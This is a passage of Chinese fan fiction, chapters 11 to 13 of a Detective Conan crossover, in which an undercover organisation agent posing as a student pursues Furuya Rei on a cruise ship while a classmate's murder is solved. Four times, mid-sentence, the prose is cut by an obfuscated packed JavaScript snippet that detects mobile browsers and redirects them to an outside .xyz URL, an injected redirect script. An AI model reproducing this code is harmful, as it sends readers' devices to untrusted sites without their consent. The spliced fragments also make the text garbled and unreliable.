他们这个社团,笔迹研究会,五个人,大三的时候死了一个,除去他的存在就是四个人…… 这个配置怎么有点像漫画里最容易出事的组合啊?北百川一古怪地想。他回忆了一番漫画里案件的套路,迅速看了眼社团里最有可能是受害者的人,二木大和。 没记错的话大三的时候就是二木大和失手杀的人,按照套路来说这次他就很危险了。北百川一不动声色地站得离二木大和远了些。他可不想怀疑成凶手。 “我们接下来就各自活动吧?”稻吉美织提议。 凶手嫌疑加一。北百川一在心里给她记了一笔。 “我赞成!游轮那么大,好多地方我都想去看看呢,草部桑和我一起吧?” “那我们什么时候见?” “晚上六点?我们可以一起吃饭。” 好,晚上六点前肯定会有人要死了。北百川一默默地想,他晃了下手机,表示:“我晚上就不来吃饭了,有约了!” 社团成员发出起哄的声音,他们都知道最近北百川一最近似乎在网恋,每天抱着手机就是打字聊天。 很快几个人各自散去,和北百川一关系更好一点的江成秋美没急着走,她好奇地问:“你那位追求对象也来了?我还真有点好奇呢。” “不给你看。”北百川一翻着手机,“怕你爱上他。”他在看自己和降谷零的聊天记录,上一次聊天还停在十天前。他这个身份有在坚持不懈地打扰zero,但效果不是很好。 北百川一顺口一问:“话说江成桑你是不是谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612192|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过很多次恋爱?你知不知道要怎么追人?” “啊,没有,我都是等别人来追我。”江成秋美说,她略微感到惊奇,“有谁能够让我们大学霸追了一个多月还没追到?” 北百川一在他们系很有名,外貌出众,成绩优异,所有项目全优,德才兼具,文体双全,是很多人的暗恋对象。江成秋美想不出有什么人需要这位去费心思追的。 她想了想,决定给出一条宝贵的经验:“别的没法教你,但我可以告诉你一个很重要的事。那就是千万别得罪那人身边的朋友。” 北百川一扬了下眉毛:“为什么这么说?” 江成秋美说:“反正让我朋友不高兴的我从来没答应过。” “……”北百川一想到了好感值系统上三个巨大的“负”。 虽然他肯定问题不在这里,但这好像确实是一个问题! 在江成秋美走远后,北百川一思索片刻,给萩原研二发了条邮件。 “好久不见。”他来到约定的地点,从楼梯上俯视萩原研二。对方和上次见面有了一点区别,做了一些简单的伪装。不知道是伪装的原因还是对方本身状态不好,一些明显的憔悴从萩原研二身上透出。 “密斯卡岱。”萩原研二抬头,神色复杂地看着北百川一从楼梯上走下来。 “在这里叫我北百川就行。”北百川一提醒萩原研二,“虽然说这里是远离日本的公海,但我建议你还是多做一点伪装,最近很多日本学生都在进行毕业旅行,人多眼杂。” 萩原研二不觉得这里会有什么人认识自己,无所谓地说:“反正我们只在晚上行动。有什么事吗?中午不到就把我叫过来。” “没,只是来通知一下你,行动取消。”北百川一说。 萩原研二站直身体,神情变得严肃:“发生什么事了吗?” 北百川一诚恳地告诉他:“没什么,只是突然意识到,你以前是警察,让你做杀人的事我良心过不去。” “?”都这种时候了,你突然和我说你有良心不想再逼良为娼了?萩原感觉北百川一又在发癫。 北百川一就知道自己说真话是不会有人信的,他叹口气,临时编了个很合理的理由:“好吧,实际上是因为,我预感到了今晚有案件会发生。安全起见,还是迟一天再行动吧。” “你预感?”萩原充满怀疑地重复了一遍,想起上一次分别的时候,这人说自己有预知能力。 “晚上你就知道了。”北百川一有意营造神秘感,“四个人中会死去一个,还有一个会是凶手。侦探会登场,而警察最后出现。” 如果什么也没有发生……那就当作什么都没有发生。 北百川一看向远处,他双手插进口袋,故作高深。 一道身影在不远处闪过,熟悉的金发在太阳下反射,对北百川一来说比海水反射的阳光还要璀璨。北百川一张了张嘴,差点破功,他下意识看了萩原研二一眼,在确认对方站在不易被发现的阴影处时,才松了口气。 迟疑两秒后,北百川一为自己胡编乱造的语言加上了一句话:“而那位侦探……将会是金发。” 11. 第 11 章 萩原研二一开始并没有明白,北百川一所说的金发侦探是什么意思,直到他在甲板抽烟时,偶然看见了站在北百川一身边的降谷零。 他捏紧了栏杆,定定地看着二人和谐地交流,北百川一此时像是再正常不过的大学生,脸上的神情生动又活泼,一举一动都像开屏的孔雀,使劲想要吸引降谷零的注意力。 难道降谷完全没有看出来吗?萩原研二咬了咬牙。他们是怎么认识的?而且看起来已经认识很久了。难道说北百川一一直以来的目标真的就是降谷? 他站得不算远,还能够听见他们的对话。 “真巧啊,没想到还能在毕业旅行的时候遇到安室先生。” “安室先生现在要去哪里?需要我帮忙吗?我对游轮很了解哦,这几天已经把所有玩的地方都摸得清清楚楚了。” “不用,谢谢了。我只是在闲逛。”这是降谷零的回答,让萩原松了口气。看起来降谷对北百川一没兴趣。 也是,降谷零现在看起来用的是假身份,很可能是在做一些需要伪装的工作,自然不会让这种可疑分子接近。 但还没等他完全放心,就看见北百川一从自动售货机里买了两瓶咖啡,递了一瓶给安室透:“是安室先生喜欢的那种。” 这不是重点,让萩原窒息的是他看见降谷零丝毫没有拒绝的意思,就这么接了下来,甚至脸上还带着浅笑。 完了,以他对这种事情的了解,降谷不会真的…… 萩原只想扔点什么东西下去迅速把两人分开,他深呼吸一口气,还在想自己有没有什么可以做的,就看见北百川一抬头,看向了他的方向。 被发现了。萩原意识到。 他没动,站在那里表示自己的坚定,就这么看着北百川一的气场从无害的大学生一秒转变,冰冷的眼神带着寒意朝他直直地看来,从头到尾都透着威胁。 这完完全全是密斯卡岱。 萩原很想问降谷零真的一点也没感觉到吗? 下一秒萩原知道为什么了。因为在降谷零回头的那瞬,北百川一变脸的速度可以去中国拿个什么传统文化继承人认证,他冲降谷零露出毫无心机的笑,笑得两个酒窝都露了出来,还甜腻腻地说:“既然是闲逛的话,安室先生想去剧院看看,还是泳池?” 两人有说有笑地走远了,留着萩原站在那里,被一口都没来得及抽的烟烫到了手。 ----- [行动真的取消了吗?] 北百川一蹲在黑暗里看着手机,邮件来自萩原研二。 他当然骗了萩原研二。正是因为会有案件发生,所以更是要今晚行动,不然第二天游轮就会因为杀人案件靠海停留,那个时候目标上岸,就不好得手了。 那个时候萩原大概也想到了,没反驳大概是觉得听从安排也无所谓。现在这么问,是因为看见了他和zero站在一起,所以决定做点什么吗。 北百川一皱了下眉,看来要速战速决,不能让zero和萩原见面。 他没回邮件。手机调出另一个界面,开始看目标在哪。 这一次的任务重点不在目标身上,组织需要的是目标身上的磁盘。公安插在其他组织的线人身份暴露,被杀死了,但死后东西没清理干净,里面还有一些组织成员留下的痕迹,北百川一这一次的任务就是把磁盘偷出来,或者毁掉。没有让他杀人,任务自由度很大。所以为了好感,嗯,他可以放过目标一马,做个好人。 这本来是一个很简单的任务,因为组织不知道死去的那家伙同时还是公安的线人,只是出于习惯让他去进行回收。 但他在这里遇到了zero。 zero不那么好跟踪,另外几位公安就容易多了。稍微一查,北百川一就知道他们也是冲着磁盘来的。 看来又要以密斯卡岱的身份和zero见面了。北百川一愉悦地想。 虽然他也很喜欢用北百川一的身份和zero玩纯爱游戏,但还是密斯卡岱的性格更接近他本身,能做的事也更多。 动身!组织的磁盘,就算是交给别人,也留下了很容易进入的后门,能够轻松被定位。现在,目标终于带着磁盘动了起来。北百川一伸了个懒腰,他已经在这里恭候多时,只等目标走进来。 红点朝着他的位置靠近,很快,目标就走进了游轮的赌.场。晚上游轮才驶入公海,所以赌.场晚上才开放,给了一整个白天的时间让他们在里面动手脚。 比如装点定时炸.弹什么的。 定时炸.弹是萩原安放的,遥控在北百川一这里,他居高临下地站在赌.场未开放的二楼,站在暗中往下看,看见降谷零正在和目标擦肩而过。他站得有点远,看不清细节,不过能猜到zero肯定会借这个机会顺走。 于是北百川一按下了遥控器。 “轰隆——”微型炸弹一瞬爆发,声势吓人,就算没有任何伤害,只掀开了无人的赌桌,也足够吓到赌.场里所有人。 人群像往油锅里加水一般炸出惊慌失措的骚乱,北百川一戴上兜帽,迅速朝着赌.场外走去。 赌.场外的灯大部分熄灭了,人都是趋光动物,所以大部分人都朝着有光的地方逃走,只有做那些不方便被人知道的坏事的人,才会往暗处走。 急促的脚步声响起,北百川一从声音和手电筒判断出这些应该是目标身边的人,看来目标也意识到磁盘被偷了。 “该死,老大说无论如何我们必须要找到那个家伙!” “那个家伙会不会往人群里跑了啊?” “傻子才会往那边走,警察都在门口堵着呢,别废话了,快找。” 手电筒的光四处扫射,路很窄,很容易就照到了北百川一身上。 北百川一撇撇嘴,在那群人的大喊大叫声中跑了起来,闪身拐入转角。 他速度很快,可以甩开身后的人一大截,还有空摸出手机来看一眼现在磁盘——也就是zero的位置。 总之,左拐,下楼,一百五十米,右拐,拉开窗翻进去,哈——找到了。 北百川一刚一落地,就被一柄枪抵住了脑袋:“别动。” 降谷零在黑暗中冷冷地喝住了他。 北百川一举起双手,他的夜视能力比一般人的要好,所以他其实能够看清zero脸上的神情,很严肃很认真,是认真工作的zero,和白天见到的安室先生很是不一样呢。 zero大概是在思考要怎么处理他,也可能是在判断他是哪一方的。 北百川一决定提醒一下降谷零,他可是很贴心的。于是北百川一清了清喉咙,以密斯卡岱的声音开口了:“嗨——” 话音还没落下,就被降谷零猛地掐住了脖子。 北百川一很是惊讶降谷零为什么能够这么快反应出是他,刚准备从喉咙里挤出点再次见面该说的话,就被一拳狠狠锤在了颧骨上。 骨头都要被打断的疼痛上涌,同时降谷零掐着他的手又松了力气,大概并不是真的想要掐死他,只是想揍他。 北百川一却闷声笑了起来,反手搭在降谷零的手腕上,一字一顿地拉满嘲讽:“太、轻、了——透君。” 任是谁被这么嘲讽,都难以忍住不去下重手。 降谷零的呼吸变重,他凶狠地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612193|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪着北百川一,虎口重新用力收紧,真的有那么一瞬想要把对方掐死。 喉咙被扼死,气管被压迫,呼吸的权力被剥夺,窒息带来的是大脑接近一片空白,周围的一切远离变得安静,然后在对方松手那刻,空气疯狂涌入,带来死而复生的、极致的快感。 北百川一弯下腰咳嗽,听见降谷零在他头顶冷淡地说:“这种玩多了会影响你的智力。” 北百川一半天才缓过劲来,他坐在地上,嘶哑着声音说:“这么关心我啊?只和你玩。安室先生你怎么会在这里?” 降谷零沉默着,低头审视他。 密斯卡岱的打扮还是和之前没什么区别,黑色兜帽遮挡眼睛,脸上戴着口罩,依旧看不清面孔。 现在对方对他的称呼又回到了安室透。密斯卡岱难道不记得自己留下过什么纸条了吗? 降谷零神色复杂,一时甚至不知道要从哪里开始问起,于是先回答了密斯卡岱的问题。 “有个委托人拜托我来查点事。”这当然是假话,但在密斯卡岱没有拆穿他真实身份之前,他还是继续装成安室透吧。 “等等。”密斯卡岱忽然比划了一下手势,两人都闭上了嘴,都听见附近传来了脚步声。 脚步声比他们想的还要近,很可能是刚才两人打斗时把人引了过来,“砰”一声门被踢开了,北百川一眼疾手快,拽着降谷零就把他拉进了办公桌底下。 空间狭小,降谷零几乎整个人趴在北百川一身上,他被北百川一按着后脑勺,脑袋靠在北百川一的颈窝里。 这是一个过于暧昧的姿势。降谷零闭了闭眼,把思绪拽出来放在闯进室内搜查的人身上。 手电筒在室内扫了一圈,他们藏在半封闭的办公桌下,光影没有暴露他们的存在,但那人似乎很坚定他们就在里面,脚步声往室内走,看起来是准备认真搜查一番。 降谷零后悔了,他为什么要被密斯卡岱拉着躲起来?只是一个人的话把人打晕了冲出去不是更好的决定吗? 意外的是,那人走进来没两步,就被其他人叫走了,转身离开了这间办公室。 办公室重新暗下来,降谷零动了动,想从这种过于亲密的姿势中解脱,却被北百川一按住了。 密斯卡岱贴在他耳边说:“上次的事,我很抱歉。” 他说话带动的气流钻进降谷零的耳朵里,痒痒的,降谷零没有说话。 上次的事?上次的哪件事?降谷零更想要的不是道歉,而是解释。他需要知道密斯卡岱对他的身份掌握到了哪一步,为什么会知道他的绰号。 北百川一见他不说话,忍不住上牙轻轻啃了啃降谷零的耳朵,他感受到zero颤抖了一下,念念不舍地把人放开了。 降谷零利落地站起身,毫不客气地拿着枪指着北百川一:“你是不是忘了我有枪?” 北百川一无辜地看着他,又一次举起了双手:“我投降。” 降谷零轻哼一声,转身从窗户跳出了房间,消失在了北百川一面前。 北百川一吧唧了下嘴,从口袋里摸出磁盘。这是两人靠在一起时,他从降谷零身上顺过来的。 “还是太不谨慎了啊,zero.”他这么想着,想拿出手机照明,再仔细确认是不是组织要的那张。 ?等下,他的手机呢? 北百川一使劲掏口袋。 已经走远的降谷零掂量了下手里不属于自己的手机,脸上终于露出了真心诚意的笑。用一个不管是公安还是组织拿到手都会销毁的磁盘,换密斯卡岱的手机,很划算。 说起来,这个手机有点眼熟。降谷零眯起眼睛。 12. 第 12 章 降谷零停在了原地,他摩擦着手里属于密斯卡岱手机,又拿出手电筒仔细查看,意识到……密斯卡岱的手机,似乎和北百川一是一模一样的。 不只是同型号的问题。 降谷零想起来自己之前无意间看到过北百川一的手机密码,他手指犹豫地悬在屏幕上,最后带着自己都明白的复杂的心情输入了密码。 密码错误。 降谷零不知为何松了口气,但密码错误并不能说明什么。他收起手机,决定等离开这里再找人来破解。他也可以明天观察一下,北百川一手里是否还有同样的手机。 如果没有…… 北百川一就是密斯卡岱?降谷零脚步一顿,自己都想不明白为什么他会这么抗拒这个可能性。 可能是因为……两人的差别实在是太大了。降谷零脑海里浮现出密斯卡岱用亮晶晶的眼睛看着自己,然后从背后拿出玫瑰花的样子……仅仅只是想象,他就感觉自己的鸡皮疙瘩要起来了。 降谷零甩甩脑袋,继续往外走。 极轻的脚步在他身后响起,他警觉了起来。 会是密斯卡岱吗?那么快就找到了他?难道说自己身上被放了定位器? 藏在阴影里的身影像是知道自己被发现了一般,脚步声顿住,下一秒就从极快地跃了出来。 一身黑衣,带着鸭舌帽,头发有点长。降谷零一眼就看出来了这不是密斯卡岱。所以是组织别的成员吗? 来者不善,直直地冲着他装着手机的口袋而来,一点也没有掩盖的意思。 降谷零没有第一时间拔枪,一是担心枪声把密斯卡岱引来,二是想试一试对方的身手。 两人拳脚相交,几个来回暂时没有谁落入下风,两边都收着力气,就像他们不是站在敌对面交手,而是在友好的切磋。降谷零在交手的过程中发现了一丝微妙的熟悉感,心里的疑惑像迷雾般散开,把他笼罩。 没有开枪是个正确的选择,不然北百川一也不会找那么久才重新找到降谷零。 他听见了打斗声,看过去的时候脸色微微一变。 降谷零或许没能认出来那是谁,他可比谁都清楚,那副遮遮掩掩的打扮,不愿下狠手的举动,一看就知道是萩原研二的。 他警告过萩原研二,让他不要随便去接触过去认识的人。看来是他是没有听啊。北百川一很是不高兴。 似乎就是要验证他的猜想一般,不知萩原研二是有意还是无意,降谷零的手碰到了鸭舌帽的边沿。 本就有些松动的鸭舌帽晃了晃,轻而易举地就被掀开了。 紫色的眼睛暴露在降谷零的视线下,他内心巨震,险些忘了下一个动作应该要做什么。 萩原研二抓住这个机会,抢占上风,把降谷零按在了地上。 降谷零只是一瞬恍神,短暂的停顿里,他感到有什么东西被塞进了他的手里,想要护住手机的动作迟了一秒,被对方带着手机逃走了。 降谷零站在原地没有追。他用力地握住手里的纸条。四周空荡无人。漆黑一片,就连月的光亮都透不进来,他恍惚以为自己在梦中,不然怎么会先是看见死去一段时间的同期,又在这种时候听见诡异的机械音滋滋在大脑里响起。 像是电流断触,又像是有人在用他听不懂的语言对话,似乎就在耳边或者脑袋里,又似乎在很远,正是这个声音让降谷零放弃了追赶,他在原地站了很久,甚至开始怀疑是不是自己的精神出了问题。 难道是最近压力太大了? 北百川一躲在暗处,全然不知降谷零在想什么,他把系统996揪了出来:[系统,为什么zero在看到萩原研二之后时间没有回溯?] 在他救下萩原,却因为对方和松田阵平相认导致任务失败,时间回溯的时候,他和系统讨论过这个问题。 系统996虽然是不靠谱的实习生,但是有本行动手册可以翻一翻。所以那时,他们总结出,最好让萩原维持假死,不和任何漫画剧情有关的人接触,不然都有可能会破坏漫画主线剧情,导致时间回溯到二十四小时前。 后面他测试过一次,也验证了这个结论。 但是为什么现在萩原研二见到降谷零会没事? 系统996狂翻行动手册,整个统透着强烈的心虚,什么也没翻到,最后绞尽脑汁给出一个有可能的解释:[可能是因为……我本来应该绑定的就是降谷零?所以他和你一样,都是特殊的] 北百川一接受了这个说法。 他没继续在这里待下去,回到自己房间,果然看见萩原站在房间内等着他。 萩原把手机扔给他:“喂,下次你可要自己保管好。” “这次确实是我大意了。”北百川一承认错误。他沉浸在和zero亲密接触的高兴中,一时就忘了zero可不是那么好骗过去的人,会被他顺走磁盘只是因为一开始zero就默许了。 承认完错误,北百川一丝毫不内耗,转头反过来质问萩原研二:“我的信息发给贝尔摩德,为什么是你去?我不是警告过你,不要和zero接触吗?” 组织成员之间联系并不一定需要手机,在发现自己的手机被顺走后,北百川一就通知了同样在游轮上的贝尔摩德,想让对方帮忙。 “贝尔摩德让我来的。”萩原说。实际上是主动请缨。他知道就算降谷拿到了密斯卡岱的手机,也看不到什么东西,顶多是加深对北百川一的怀疑,那还不如他直接和对方接触,暗中提醒。 北百川一显然也不信,他已经忘了自己还要刷萩原好感,撇撇嘴有意激怒对方:“就算你直接告诉zero我的身份,他也不会远离我的,别白费力气了。你知道为什么吗?” 萩原眸色闪了闪,不做评价。 北百川一想到zero在面对北百川一这个身份时的表现,嘴角忍不住翘起,带上了嘲讽,他也不需要萩原回答,自顾自地说:“因为他喜欢我。” 北百川一知道自己有哪些优势。至少这一个身份里,他很有优势。身份清白没有疑点,阳光开朗性格好,热情追求又从不逾矩,更重要的是,脸好。 人都是视觉动物,北百川一深知这一点。 他对降谷零扬起灿烂的笑,开开心心地跑过去,在距离降谷零一米的地方急刹车:“早上好——安室先生!” 这是第二天早上,昨夜似乎是平安夜,无人伤亡。 下一秒安室透的话打破了北百川一的错觉。 “早上好,北百川君。”安室透隐晦地审视了北百川一一番,说,“我们在三楼餐厅发现了一具尸体,很遗憾地告诉你,那似乎是你的同学,二木大和。” 原来案件发生的时间是在今天啊。北百川一有些惊讶,他没掩盖惊讶的神色,表现得就像普通学生那样:“什么?二木桑?怎么会发生这种事情?” 安室透言简意赅:“我们先去餐厅集合吧,警察已经来了,作为他的同学,你需要配合谈话。” 北百川一跟在安室透身后,两人默默地往餐厅走,谁都没有说话,像是沉浸在伤感中,实际上谁都没有在想案件的事。 安室透来找北百川一时,就基本弄清楚了案件,拖延没有破案是因为他决定把北百川一叫过来试探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612194|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而北百川一在想,昨晚萩原研二到底和zero说了什么,为什么今天对方没有直接戳穿他唔,不过也有可能是萩原出于对zero的担心,没有直接明了地把他的身份说出来? 心怀鬼胎的两人来到了餐厅。餐厅聚集了不少人,警察在逐个问话,没有那么快到北百川一。 他小声问安室透:“安室先生是不是已经看出案件的关键了?” “差不多。” “不愧是安室先生,好厉害。” 安室透笑了笑,笑意很淡,不及眼底。他脑海里闪过昨天被塞进手里的纸条:小心北百川一。 简单的几个字,没有落款。 会是萩原吗?难道说萩原没有死?降谷零不知道自己应不应该相信那张纸条,也不知道要怎么去确认那人的身份。他只能收好纸条,暂时把一切压在心底。 至于北百川一…… 安室透有些复杂,他看见北百川一走过去和同学站在一起,低声说着什么,抬手拍了拍对方的肩膀,大概是在进行安慰。 手。 安室透忽然想起来一件事。他和北百川一接触的这段时间里,似乎没有在对方手里看到过枪茧。但密斯卡岱的手上有,不但有枪茧,还有常年练刀后留下的痕迹。 是他漏掉了细节,还是说确实没有? “北百川。”安室透决定直接把人叫过来看一下。 “诶。”北百川一猛地转身,像是狗被主人叫到那样匆匆忙忙地冲了过来。 “安室先生有什么事吗?” 安室透不说话,抓住北百川一的左手手腕,把对方的手拖到了自己面前。 没有。安室透眼里闪过困惑。 对方的五指修长,骨节分明,指甲修得整整齐齐,有的只有写字留下来的薄茧,一看就是勤奋学生的手。 安室透下意识想要进一步确认,指尖覆上捏住食指,刚想要进一步细细检查的时候,被北百川一触电一般地收回去了。 安室透抬眼,看见北百川一涨得通红的脸,这才意识到自己的举动似乎过于亲密了。如果只是普通朋友关系可能还好,但偏偏对方又是一直在追求自己的人。 他默然,心想如果这真的是密斯卡岱的话,那对方的演技也太可怕了,可怕到了精分的程度。这只是一个简单的摸手指的动作而已。 安室透敷衍地找了个借口:“我对案件有一点想法,所以想看看你的手。” 北百川一犹犹豫豫,忸怩了半天,半晌凑过来问:“那安室先生还要看吗?” “不用了。”安室透摇头。 他并没有从对方的手上看出来什么。就算对方是密斯卡岱,那会给他看一定也是做足了准备的,想来再怎么看也是看不出东西的。 “哦……”北百川一失望地低下头。 安室透看着他垂下的脑袋,心思微动,心底某一块像是被什么很轻地撞了一下。有点可爱。 算了,这次也确实是他主动挑起的。 这么想着,安室透抬手摸了下面前毛茸茸的脑袋。 他不出意外地看到北百川一的脸又一次爆红,连着退后了好几步。 啧,纯情男大。安室透在心里摇头,没再耽误时间,朝警察走去。 殊不知在他走后,北百川一抬起头,视线在餐厅里转了一圈,精准地找到萩原研二。在看见对方神情的时候,他就知道对方肯定把一切都看在眼里。 北百川一无声地咧开嘴,露出一个嘚瑟的笑。 [恭喜宿主获得,萩原研二的好感值:负的三次方。] 13. 第 13 章 怎么还能有负的三次方?北百川一脸上的笑一僵。系统到底是怎么衡量好感值的?负数已经够了,剩下的不用再告诉他了! 他稍稍收敛了一些,不再去挑衅萩原,而是看向正在破案的安室透。 在听说他是侦探后,稻吉美织——他的同学,字迹研究会的社员,同时也是他第一怀疑对象,一下有了可以说话的对象。 她愤愤不平地指着站在他们附近的一个女人,发出激烈的质疑:“既然你是侦探,你应该比这群警察要厉害。为什么会觉得是我们之中的人做的?为什么不能是其他人?我看这个女人就很值得怀疑!都这个时候了还鬼鬼祟祟地戴着口罩不肯以真面目见人!” 嗯……这人遮遮掩掩可能只是因为她是贝尔摩德。北百川一没想到对方一指就指出了贝尔摩德。 只能怪贝尔摩德的打扮确实引人怀疑,又正好住在他们的房间附近,所以被警察一同请了过来。 安室透的视线看了过去,他在女人穿着的黑色裙子上停留一秒,很快移开视线,为对方说话:“我想这个人遮遮掩掩可能只是因为她是明星。” 贝尔摩德,或者说是已经熄影的莎朗配合地叹了口气,优雅地取下了口罩:“被看出来了啊,很抱歉,一开始没有配合警方是担心我在这里的信息被狗仔报到出去。” 贝尔摩德意味深长地扫看了北百川一一眼,被北百川一盯了回去,她无奈地说:“现在应该没有必要怀疑我了吧?我没有理由杀死他。” 周围响起一片窃窃私语,显然是有人认出了她。 北百川一略感头疼,他用眼神问:我还以为你早就不用这个身份了。 贝尔摩德回答:忘了。 “……”北百川一不信,他只觉得是贝尔摩德又在玩什么马甲精分游戏,或许是在给这个身份策划退场? 贝尔摩德看出他在腹诽自己什么,心想密斯卡岱怎么好意思说她,他用两个身份追人难道就比她正常了? 他们无声的交流发生在安室透破案的过程中,没有人发现,所有人的注意力都在案件上,就连一直保持对北百川一关注的安室透也在这个时候疏忽了几分。 北百川一同样是死者的同学,但在案发时间他有明确的不在场证明,所以在破案的时候大部分都把他忽略了。他神色淡淡地站在外围,视线在地上的尸体上扫过,脸上没有丝毫的伤感或者同情,就像面前不是他同社团同学的尸体,而是陌生人的。 但就算一般的人,对上陌生人的尸体也不会有他这般冷淡。 安室透解决完案件,避开人群朝他走来的时候,看到的就是这一幕。 心底还未褪去的怀疑又如潮水一般涌了上来。安室透停下脚步。如果北百川一真的是密斯卡岱…… 思绪如交缠在一起的蛇群,滑腻阴冷地围绕在他身边,降谷零在短短的几秒钟总好像想了很多,又好像只是短暂的愣神。他忽然意识到一件事。就算北百川一是密斯卡岱,对他又会有什么影响? 没有影响。降谷零重新迈开步伐朝北百川一走去。如果北百川一就是密斯卡岱,那他可以省去很多麻烦事,甚至可以直接把人抓起来审问。 这么想着,降谷零心情都好了几分,带着微笑走向北百川一。 北百川一看着他走过来,就像被开机了一样,脸上的神情一下生动了起来。如果只是这样,降谷零只会觉得他演技真好,但触及北百川一的眼神,却又觉得不像作假。 北百川一的眼睛是深色的,乍一看像是黑色,但近距离看的时候就会发现其实是像深海一般幽深的蓝,看向他的时候专注又认真,像是全世界只有他。 降谷零突然想养一只蓝眼睛的狗。 “所以说……凶手就是稻吉同学吗?”北百川一向他确认。 “她已经承认了,作案动机也交代了,是想为死去的朋友复仇。”安室透回答,观察着他的神色,没有从他的脸上看出什么多余的情绪变化。 北百川一看向稻吉美织,她此时已经交代完了所有,警察正在把手铐往她的手上铐,带着她朝他们的方向走来。 “你看起来没有很伤心。”安室透试探,“我以为你们是朋友,你们正在进行毕业旅行不是吗?” “算是吧。”北百川一看上去并不想继续讨论这个话题,他忽然问了一个很奇怪的问题,“安室先生,我们算朋友吗?如果我被警察抓走了你会伤心吗?” 这个问题问得很有意思,北百川一在提问的时候也似乎刻意地避开了对视。安室透心想。如果你是密斯卡岱的话我会很高兴你被捉拿归案。 他没有正面回答:“只要你不做坏事,自然就不会被抓走。” “我就是问问。”北百川一说。 同社团的同学,一个死一个被抓,但却一点也没有伤感或者是怅然。如果不是他有不在场证明,或许会被第一个怀疑是凶手。安室透判断,从这个角度看,北百川一确实值得被怀疑。 他还需要更直接的证据。 证据没有送到他手里,但是接连不断的暗示快要贴到他脸上了。 第二天降谷零打开房门的时候,又一次发现了熟悉的纸条。 这一次依旧没有署名,上面的字也没有任何区别,依旧是船上打印机打出来的,只是这一次句号变成了感叹号,而且是三个。 降谷零不动声色地把纸条销毁了。 虽然不知道给他塞纸条的人是谁,但至少对方在行动上没有受到很大的限制。 降谷零不准备把这件事告诉松田。在没有完全确定对方身份的情况下,他更加担心这会不会是一个圈套。 所以对于这句看起来很好心的提醒,他也没有完全相信,还怀疑过会不会这些都是密斯卡岱的另一个把戏。 北百川一如果知道他是这么想的,肯定会对萩原发出小小的嘲笑。 在他发现手机被zero顺走的时候,他就知道自己肯定会被怀疑。萩原能做的最多也就是给zero送点线索,还可能会因为身份的不确定性起到反作用。北百川一丝毫不慌。 不但不慌,还有了新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612195|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的主意。 因为案件的缘故,游轮将要中途靠岸,降谷零也准备在这里下。他本来就是为了公安的任务来的,现在完成任务了,上级的意思是让他尽早回去。 “好遗憾,我还以为能够和安室先生一起去挪威。”北百川一站在甲板上看着陆地靠近。 “你们还打算去挪威吗?”降谷零还以为在经历案件后,他们仅剩三人的社团会中止这次旅行。 “他们不去了,也准备下船。”北百川一说,“我一个人去。听说这个季节挪威有粉色的极光,我要去考察考察。” “考察什么?”降谷零顺口一问。他有些心不在焉,在想自己有没有能够说服上级的理由。比起回日本,他其实更想继续留在游轮上。密斯卡岱和疑似萩原研二的人都在这里,他有太多需要调查的事。 “考察表白地点。”北百川一看出了降谷零的走神,他眼底的笑意变深,嘴角轻轻勾了下。这个时候他就更像密斯卡岱了,只是这种使坏的感觉一瞬而过,降谷零还没能转头看向他,就听见他说: “感觉粉色极光很浪漫,所以想要在粉色极光下和安室先生表白,安室先生会答应吗?” 该说不说,这种突如其来的直球,也很像密斯卡岱。 降谷零扭头,发现北百川一站得离他更近了,脸上带着紧张和忐忑,深蓝色的眼睛满是期待地看着他。 北百川一看起来是认真的,但降谷零却在审视他。 有那么几秒他觉得有点愧疚,觉得自己不应该这么对待一个真心喜欢他的人。 但愧对的念头刚刚升起,他就想到了密斯卡岱的手机,想到了那个时候揽住他腰的手和靠在一起的温度,还有自己收紧虎口时手底下跳动挣扎的脉搏。 他忽然毫无征兆地伸出手,压下北百川一有些高的领子。 海风把北百川一的头发吹得乱糟糟的,也吹得降谷零忍不住眯起了眼。 他不确定自己是否真的看见了红痕。 但就算看见了,那痕迹也太淡了,以他当时的力气,密斯卡岱不可能这么快就恢复。 